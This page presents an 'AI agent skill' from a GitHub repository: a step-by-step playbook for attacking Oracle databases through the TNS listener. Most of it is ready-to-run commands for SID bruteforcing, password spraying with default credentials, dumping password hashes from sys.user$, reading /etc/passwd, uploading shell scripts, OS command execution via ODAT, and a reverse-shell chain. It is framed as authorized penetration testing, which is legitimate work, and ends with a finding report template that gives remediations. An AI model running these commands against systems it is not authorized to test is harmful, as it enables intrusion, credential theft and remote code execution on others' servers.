Pentesting oracle

From xalgorix/xalgorix · View interactive version

Pentesting oracle is an AI agent skill from the GitHub repository xalgorix/xalgorix. Testing Oracle Database via the TNS Listener (default ports 1521, plus secondary listeners 1522-1529) for SID disclosure/bruteforce, default and weak account credentials, TNS listener misconfiguration and poisoning, and ODAT-driven file read/write and OS command-execution primitives during authorize

How to use this skill

Skill file

Pentesting Oracle TNS Listener (port 1521)

When to Use

Quick Enumeration

# Version
nmap --script oracle-tns-version -p1521 -sV <IP>
nmap --script "oracle-sid-brute" -p1521 <IP>          # discover SIDs

# All-in-one with ODAT (the primary Oracle pentest tool)
./odat-libc2.12-x86_64 all -s <IP> -p 1521

# SID + credential brute via ODAT
./odat sidguesser -s <IP> -p 1521
./odat passwordguesser -s <IP> -p 1521 -d <SID> --accounts-file accounts.txt

msfconsole -q -x 'use auxiliary/scanner/oracle/sid_enum; set RHOSTS <IP>; run; exit'

Critical: Checks Most Often Missed

Workflow

Step 1: Enumerate (version, SID, accounts)

nmap --script oracle-tns-version,oracle-sid-brute -p1521 <IP>
./odat sidguesser -s <IP> -p 1521
# Once a SID is known, fingerprint accessible accounts
./odat passwordguesser -s <IP> -p 1521 -d <SID> --accounts-file accounts.txt

Step 2: Authenticate (default/weak creds, brute force)

# Native client (instantclient sqlplus)
sqlplus <user>/<pass>@<IP>:1521/<SID>
sqlplus system/manager@<IP>:1521/XE
# As SYSDBA
sqlplus sys/change_on_install@<IP>:1521/XE as sysdba

# Brute force
./odat passwordguesser -s <IP> -d <SID> --accounts-file /usr/share/oscanner/accounts.default
hydra -L users.txt -P passwords.txt <IP> oracle-listener   # or oracle-sid
nxc oracle <IP> --sid <SID> -u users.txt -p passwords.txt

Step 3: Exploit / Extract (data dump + ODAT file/RCE primitive)

-- Native recon once connected
SELECT * FROM v$version;
SELECT username FROM all_users;
SELECT name, password, spare4 FROM sys.user$;       -- hashes (DBA)
SELECT table_name FROM all_tables;
# Arbitrary file READ / WRITE (UTL_FILE)
./odat utlfile -s <IP> -d <SID> -U <user> -P <pass> --getFile /etc x /etc/passwd
./odat utlfile -s <IP> -d <SID> -U <user> -P <pass> --putFile /tmp shell.sh ./shell.sh

# OS command execution
./odat externaltable -s <IP> -d <SID> -U <user> -P <pass> --exec /tmp run.sh
./odat dbmsscheduler -s <IP> -d <SID> -U <user> -P <pass> --exec "/bin/bash -c 'id'"
./odat java        -s <IP> -d <SID> -U <user> -P <pass> --exec "id"

# Upload + run a reverse shell payload end to end
./odat all -s <IP> -d <SID> -U <user> -P <pass>

Step 4: Post-access / privilege escalation / pivot

Key Concepts

| Concept | Description |

|---------|-------------|

| TNS Listener | Network front-end on 1521 that routes clients to DB instances; must be queried for a SID. |

| SID / Service name | Identifier of a database instance required to authenticate (e.g. XE, ORCL). |

| Default accounts | Well-known creds (system/manager, sys/change_on_install, scott/tiger, dbsnmp/dbsnmp). |

| TNS poisoning (CVE-2012-1675) | Rogue instance registration on an unauthenticated listener enabling session MITM. |

| UTL_FILE | PL/SQL package for reading/writing files on the DB server. |

| External tables / DBMS_SCHEDULER / Java SP | PL/SQL mechanisms ODAT abuses for OS command execution. |

| UTL_HTTP / UTL_TCP | Outbound network packages enabling SSRF and internal scanning. |

Tools & Systems

| Tool | Purpose |

|------|---------|

| ODAT | Oracle Database Attacking Tool — SID guess, password guess, UTL_FILE read/write, external-table/DBMS_SCHEDULER/Java command exec, all chain. |

| sqlplus / instantclient | Native client for authenticated queries and SYSDBA login. |

| nmap NSE | oracle-tns-version, oracle-sid-brute, oracle-brute, oracle-enum-users. |

| Metasploit | scanner/oracle/sid_enum, tnscmd, oracle_login, listener/version modules. |

| netexec (nxc) | nxc oracle <IP> --sid <SID> -u .. -p .. for auth/spraying. |

| hydra | Brute force oracle-listener / oracle-sid services. |

| Hashcat / John | Crack dumped sys.user$ hashes (modes 3100 / 112). |

Common Scenarios

Scenario 1: SID brute → default creds → data dump

oracle-sid-brute reveals SID XE. sqlplus system/manager@<IP>:1521/XE connects with the default password, and the tester dumps application tables and sys.user$ hashes.

Scenario 2: Valid account → OS command execution

With a low-priv DB account, ODAT's external-table module writes a script to disk and executes it (./odat externaltable ... --exec), returning command output as the Oracle OS user.

Scenario 3: Unauthenticated listener → poisoning

An old listener answers tnscmd10g status without a password and is vulnerable to CVE-2012-1675, allowing a rogue instance to be registered and client sessions to be intercepted.

Output Format

## Oracle Finding

**Service**: Oracle TNS Listener
**Port**: 1521/tcp (Oracle 11g, SID=XE)
**Severity**: Critical
**Finding**: Default SYSTEM credentials enabling file read and OS command execution
**Evidence**:
  - nmap oracle-sid-brute -> SID "XE"
  - sqlplus system/manager@<IP>:1521/XE -> connected
  - ./odat externaltable -s <IP> -d XE -U system -P manager --exec /tmp id -> uid=54321(oracle)
**Impact**: Full database compromise plus OS command execution as the Oracle service account.
**Recommendation**:
  1. Change all default account passwords; lock/expire unused accounts (scott, dbsnmp, outln).
  2. Set a listener password and apply patches for CVE-2012-1675 (enable Valid Node Checking).
  3. Restrict 1521-1529 by firewall/source IP.
  4. Revoke EXECUTE on UTL_FILE / DBMS_SCHEDULER / Java from PUBLIC and least-privilege app accounts.
Use this skill with your AI agent: Open on Skill Issue to copy, download, or add to your library. Works with Claude, ChatGPT, Gemini, Cursor, Windsurf and more.